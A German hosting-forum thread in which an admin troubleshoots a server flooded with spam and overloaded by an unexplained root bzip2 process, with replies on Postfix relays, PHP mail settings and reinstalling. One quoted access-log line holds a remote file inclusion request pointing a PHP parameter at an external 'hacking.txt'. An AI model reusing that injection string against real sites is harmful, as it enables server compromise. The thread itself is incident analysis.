Server gehackt ??? voll ausgelstet

Space

New Member
Server gehackt ? Sytsem voll ausgelastet...

Hallo Community,

seit kurzer Zeit spinnt meine Kiste, ein blick auf #top gibt folgendes aus s.u..
Die Kiste ist völlig überlastet, postfix server heruntergefahren ging es dann wieder, sollte man den Postfix-server wieder starten, hat der Server wieder ein idle von 0,0%

Bin gerade die logfile am checken...

Code:
top - 18:46:00 up 8 min,  2 users,  load average: 2.55, 4.20, 2.62
Tasks: 114 total,   4 running, 110 sleeping,   0 stopped,   0 zombie
Cpu(s):  9.6%us,  3.0%sy, 82.7%ni,  0.0%id,  3.7%wa,  0.3%hi,  0.7%si,  0.0%st
Mem:   1012400k total,   607968k used,   404432k free,    31364k buffers
Swap:  4208944k total,        0k used,  4208944k free,   297760k cached

Broadcast message from root (pts/0) (Thu Sep  3 18:45:44 2009):MMAND           
 3856 root      39  15 13156 7860  428 R 83.6  0.8   0:40.68 bzip2              
 3853 wwwrun    16   0  315m  22m 4368 S  8.3  2.3   0:00.50 httpd2-prefork     
 3656 root      18   0 80720  32m 2040 S  1.0  3.3   0:01.06 miniserv.pl        
 3708 postfix   18   0 45156 2204 1688 R  1.0  0.2   0:02.15 showq 
 3638 postfix   16   0 49312 6448 1780 D  2.3  0.6   0:00.54 qmgr               
 3647 postfix   15   0 45988 3336 2016 S  1.3  0.3   0:00.28 trivial-rewrite    
 2891 root      15   0 18768  744  440 S  0.7  0.1   0:00.38 syslog-ng          
 3579 wwwrun    15   0  307m  16m 4152 S  0.7  1.7   0:00.02 httpd2-prefork               
 1003 root      10  -5     0    0    0 S  0.3  0.0   0:00.85 md0_raid1          
 1029 root      10  -5     0    0    0 D  0.3  0.0   0:00.29 kjournald          
 2866 mysql     15   0  146m  23m 5004 S  0.3  2.3   0:01.61 mysqld             
 3423 web16     15   0 28820 1220  636 S  0.3  0.1   0:00.33 vsftpd             
 3424 web16     15   0 28820 1224  636 S  0.3  0.1   0:00.38 vsftpd             
 3425 root      15   0 16956 1424  916 R  0.3  0.1   0:00.79 top                
    1 root      18   0   808  300  244 S  0.0  0.0   0:00.16 init               
    2 root      11  -5     0    0    0 S  0.0  0.0   0:00.00 kthreadd           
    3 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 migration/0        
    4 root      34  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/0        
    5 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 events/0           
    6 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 khelper            
   26 root      10  -5     0    0    0 S  0.0  0.0   0:00.04 kblockd/0


UPDATE: Im Mailqueue sind "35437" Mails
Langsam komme ich dem Problem näher....

Für die Tipps bedanke ich mich schon im voraus...

Gruß
Space
 
Last edited by a moderator:
Irgendwer entpackt da gerade ein riesen bzip2 File wies aussieht, das verursacht wohl auch die hohe Load. Schau halt mal in die Queue von Postfix was da für Mails drin stecken, dann weist du ja ganz schnell obs Mails von dir sind oder Spam.
 
Irgendwer entpackt da gerade ein riesen bzip2 File wies aussieht, das verursacht wohl auch die hohe Load. Schau halt mal in die Queue von Postfix was da für Mails drin stecken, dann weist du ja ganz schnell obs Mails von dir sind oder Spam.

Hi Centy,

das war ja auch klar, dass gerade in dem Moment entpackt wurde, aber warum als /root ? den ich war der einzige in der zeit als root angemeldet und dennoch habe ich nichts entpackt.

habe in der mailqueue nachgeschaut gehabt waren ca. 35000 mails und alles SPAM. habe alle eMails aus der mailqueue gelöscht.

in dem logfiles habe ich auch nichts verdächtiges gefunden, bis auf dies hier:
Code:
79.126.211.172 - - [03/Sep/2009:16:09:34 +0200] "GET //calendar.php?vwar_root=http://gblnet.no-ip.org/hacking.txt?? HTTP/1.1" 404 4149 "-" "Mozilla/3.0 (compatible; Indy Library)"

Gruß
Space
 
Last edited by a moderator:
Wenn du das nachverfolgen willst, zitiere ich hier mal aus einer meiner Dokumentationen:

In der entsprechenden vHosts-Konfiguration muss einfach nur folgende Zeile angegeben werden:
Code:
php_admin_value mail.force_extra_parameters "-f [EMAIL="[email protected]"][email protected][/EMAIL]"
Diese Konfiguration setzt aber voraus, dass die mail()-Funktionen von PHP verwendet werden. Baut ein Script eine eigene Verbindung zu einem (entfernten) SMTP-Server auf, greift diese Vorgabe natürlich nicht mehr.
Die angegebene Adresse sollte unbedingt auf dem eigenen Server liegen. Werden im Ernstfall unzustellbare Spam-Emails an die angegebene Adresse geschickt, läuft man Gefahr, temporär oder sogar dauerhaft gesperrt zu werden!



Im Maillog sieht das dann später so aus:

Code:
 Jul 24 18:04:51 sv2 postfix/pickup[16301]: 4CC5F28AC1B4: uid=33 from=<[email protected]> Jul 24 18:04:51 sv2 postfix/cleanup[16304]: 4CC5F28AC1B4: message-id=<[email protected]>

Wenn Benutzer eigene Scripte hochladen können, hat dies sogar einen psychologischen Effekt. Denn wird tatsächlich eines Tages Spam über ein offenes Script versendet, bekommt der Benutzer die ganze unzustellbare Rotze in sein eigenes Postfach und interveniert so schnell wie möglich oder bittet jemanden um Hilfe, der weiß was los ist :-)
Erfolgreich erprobt :)
 
Last edited by a moderator:
Ja, aber wohl eher als Folge der Code Injection. Leider kriege ich keine Verbindung zu der angegebenen Adresse, sonst hätte ich die "hacking.txt" hier mal zur Analyse zur Diskussion gestellt.

Das Löschen der Mailqueue sollte nicht das einzige sein, dass Du unternimmst. Dein Server wurde offensichtlich kompromitiert. Durch welche Lücke dies geschehen ist, haben wir ja anscheinend schon mal entdeckt.

Daten sichern, Lücke patchen, Server neu aufsetzen.

Viel Erfolg,
--marneus
 
Naja, RFI Versuche gibt es ja andauernd sobald man ein vorgefertigtes CMS benutzt, der gezeigte Request war ja allen Anscheins nach nicht mal erfolgreich (404). Falls in der letzten Zeit an der Postfix config gebastelt wurde kann auch dort die Ursache für die Spamflut liegen, als ich nach langen Jahren mit Exim4 (würg) auf Postfix umgestiegen bin habe ich mir gleich mal durch eine etwas schief gelaufene Konfiguration ein Open Relay ins Nest gelegt....nach ein paar Tagen ging es dann auch los mit dutzenden Relays pro Minute.

Aber stimmt natürlich, dem System kann man nicht mehr vertrauen da es schwer sein dürfte den Vorfall komplett aufzuklären, hier ist eine Neuinstallation angesagt....und zur Sicherheit würde ich sofort nach der Postix konfiguration den Open Relay Test machen, nur um sicher zu stellen dass ein eventueller Fehler sich nicht wiederholt.
 
Den Statuscode habe ich geflissentlich überlesen. Insofern gebe ich Deiner Aussage mehr Recht als vorher :)

--marneus
 
Die "besseren" Spammer haben ja jetzt diesen großartigen Trick, dass sie sich bei ihren IP-Adressen als Reverse-Host den Namen "localhost" setzen, was offenbar einige Postfix-Konfigurationen dazu ermutigt, als Relay zu fungieren.

Schau mal bitte in der main.cf deiner Postfix-Installation nach, ob dort bei "mynetworks" unter anderem "localhost" auftaucht.
Wenn ja, ändere es bitte in "127.0.0.1" ab ;)
 
Hallo,

und vielen Dank für die zahlreiche tipps.
Also ich habe die Kiste auf "open Relays" geprüft -->
Code:
Testing #IP# on port 25... successful! - the SMTP server is NOT an open relay.

habe auf der Kiste chkrootkit und rkhunter installiert, was auch jeden Abend per Cronjob läuft und per eMail failreports versendet, habe die beiden scripten auch manuell ausgeführt, soweit es nichts gefunden.

@Lord Gurke:
im main.cf habe ich "mynetworks" nicht gefunden, stattdessen den eintrag hier:
Code:
mynetworks_style = subnet


Gruß
Space
 
Last edited by a moderator:
habe auf der Kiste chkrootkit und rkhunter installiert,
Die geben Dir auch nur falsche Sicherheit. Denn wenn es eine Code-Injection oder ein unsicheres Mail-Script ist, finden diese Programme nichts.

in dem logfiles habe ich auch nichts verdächtiges gefunden
Kommt drauf an, in welchen und nach was Du gesucht hast.
Wenn Du in den access_log's suchst und es ist ein unsicheres Mail-Script, dann wirst Du darin wahrscheinlich nichts verdächtiges finden, da die Daten meist über POST rein gehauen werden.

Aber wenn Du im mail.log suchst, solltest Du eigentlich auf den Ursprung von einige Emails kommen und rausfinden wer oder was diese Email eingeliefert hat. Das würde einiges Rätselraten erleichtern.

Falls Du selber nicht wirklich damit weiter kommst, brauchst Du halt einen Experten der Dir (meist für Geld) zur Seite steht.

huschi.
 
Hallo Hushi,

im access_log habe ich ja auch nachgeschaut ob jemand eine Sicherheitslücke im script hat und die SPAMer dies ausnutzen, mir ist schon bewusst, dass ich die Geschichte im mail.log nachverfolgen soll.

Hier ein Auszug der mail.log Datei:

Code:
Sep  5 22:26:28 s6 postfix/qmgr[5378]: DD6708D428E: from=<[email protected]>, size=3599, nrcpt=1 (queue active)
Sep  5 22:26:28 s6 postfix/qmgr[5378]: D2A768BC3D6: from=<[email protected]>, size=3600, nrcpt=1 (queue active)
Sep  5 22:26:28 s6 postfix/qmgr[5378]: 859AF8BFA70: from=<[email protected]>, size=3620, nrcpt=1 (queue active)
Sep  5 22:26:28 s6 postfix/qmgr[5378]: 5D462AB5025: from=<[email protected]>, size=3614, nrcpt=1 (queue active)
Sep  5 22:26:28 s6 postfix/qmgr[5378]: 5D0C7AB53D0: from=<[email protected]>, size=3594, nrcpt=1 (queue active)
Sep  5 22:26:28 s6 postfix/qmgr[5378]: AFA4EAB5C17: from=<[email protected]>, size=3612, nrcpt=1 (queue active)
Sep  5 22:26:28 s6 postfix/qmgr[5378]: A26D1AB5053: from=<[email protected]>, size=3614, nrcpt=1 (queue active)

Sep  5 22:26:58 s6 postfix/smtp[24912]: connect to msn.de[213.199.162.87]: Connection timed out (port 25)
Sep  5 22:26:58 s6 postfix/smtp[24911]: connect to msn.de[213.199.162.87]: Connection timed out (port 25)
Sep  5 22:26:58 s6 postfix/smtp[24905]: connect to msn.de[213.199.162.87]: Connection timed out (port 25)
Sep  5 22:26:58 s6 postfix/smtp[24908]: connect to msn.de[213.199.162.87]: Connection timed out (port 25)
Sep  5 22:26:58 s6 postfix/smtp[24898]: connect to mail.ora.ro[194.176.188.160]: Connection timed out (port 25)
Sep  5 22:26:58 s6 postfix/smtp[24882]: connect to msn.net[207.68.172.246]: Connection timed out (port 25)
Sep  5 22:26:58 s6 postfix/smtp[24884]: connect to example.com[208.77.188.166]: Connection timed out (port 25)
Sep  5 22:26:58 s6 postfix/smtp[24887]: connect to msn.be[213.199.162.87]: Connection timed out (port 25)


Sep  5 22:26:58 s6 postfix/smtp[24884]: AFF63AB55DF: to=<[email protected]>, relay=none, delay=33464, delays=33434/0.05/30/0, dsn=4.4.1, status=deferred (connect to example.com[208.77.188.166]: Connection timed out)
Sep  5 22:26:58 s6 postfix/smtp[24890]: 48E97AB5D20: to=<[email protected]>, relay=none, delay=33367, delays=33337/0.06/30/0, dsn=4.4.1, status=deferred (connect to example.com[208.77.188.166]: Connection timed out)
Sep  5 22:26:58 s6 postfix/smtp[24919]: C475B8BD9FA: to=<[email protected]>, relay=none, delay=34297, delays=34266/0.24/30/0, dsn=4.4.1, status=deferred (connect to msn.net[207.68.172.246]: Connection timed out)
Sep  5 22:26:58 s6 postfix/smtp[24893]: 4C13CAB5CDA: to=<[email protected]>, relay=none, delay=33370, delays=33340/0.09/30/0, dsn=4.4.1, status=deferred (connect to msn.de[213.199.162.87]: Connection timed out)
Sep  5 22:26:58 s6 postfix/smtp[24923]: CB9198BD515: to=<[email protected]>, relay=none, delay=34368, delays=34337/0.27/30/0, dsn=4.4.1, status=deferred (connect to msn.net[207.68.172.246]: Connection timed out)

Sep  5 22:27:18 s6 postfix/anvil[18944]: statistics: max connection rate 2/60s for (smtp:200.182.173.146) at Sep  5 22:17:21
Sep  5 22:27:18 s6 postfix/anvil[18944]: statistics: max connection count 2 for (smtp:201.240.27.195) at Sep  5 22:19:19
Sep  5 22:27:18 s6 postfix/anvil[18944]: statistics: max cache size 7 at Sep  5 22:25:14
Sep  5 22:27:21 s6 postfix/smtpd[24815]: connect from unknown[200.182.173.146]

Sep  5 23:07:54 s6 postfix/smtpd[26753]: lost connection after RCPT from unknown[61.251.165.10]
Sep  5 23:07:54 s6 postfix/smtpd[26753]: disconnect from unknown[61.251.165.10]
Sep  5 23:08:00 s6 postfix/smtpd[26692]: connect from unknown[190.214.107.215]
Sep  5 23:08:01 s6 postfix/smtpd[26692]: NOQUEUE: reject: RCPT from unknown[190.214.107.215]: 450 4.2.0 <[email protected]>: Recipient address rejected: Greylisted, see http://postgrey.schweikert.ch/help/domainxx.de.html; from=<[email protected]> to=<[email protected]> proto=SMTP helo=<user-87e149a954>
Sep  5 23:08:02 s6 postfix/smtpd[26692]: lost connection after RCPT from unknown[190.214.107.215]
Sep  5 23:08:02 s6 postfix/smtpd[26692]: disconnect from unknown[190.214.107.215]
Sep  5 23:08:09 s6 postfix/smtpd[26753]: connect from unknown[190.149.8.102]
Sep  5 23:08:09 s6 postfix/smtpd[26753]: NOQUEUE: reject: RCPT from unknown[190.149.8.102]: 450 4.2.0 <[email protected]>: Recipient address rejected: Greylisted, see http://postgrey.schweikert.ch/help/domainxx.de.html; from=<[email protected]> to=<[email protected]> proto=ESMTP helo=<ULVALMCWAV>
Sep  5 23:08:09 s6 postfix/smtpd[26753]: NOQUEUE: reject: RCPT from unknown[190.149.8.102]: 450 4.2.0 <[email protected]>: Recipient address rejected: Greylisted, see http://postgrey.schweikert.ch/help/xxxdomainxx.de
Sep  5 23:08:10 s6 postfix/smtpd[26753]: lost connection after DATA from unknown[190.149.8.102]
Sep  5 23:08:10 s6 postfix/smtpd[26753]: disconnect from unknown[190.149.8.102]

Ich würde mich über jedden tipp freuen

Gruß
Space
 
Last edited by a moderator:
Back
Top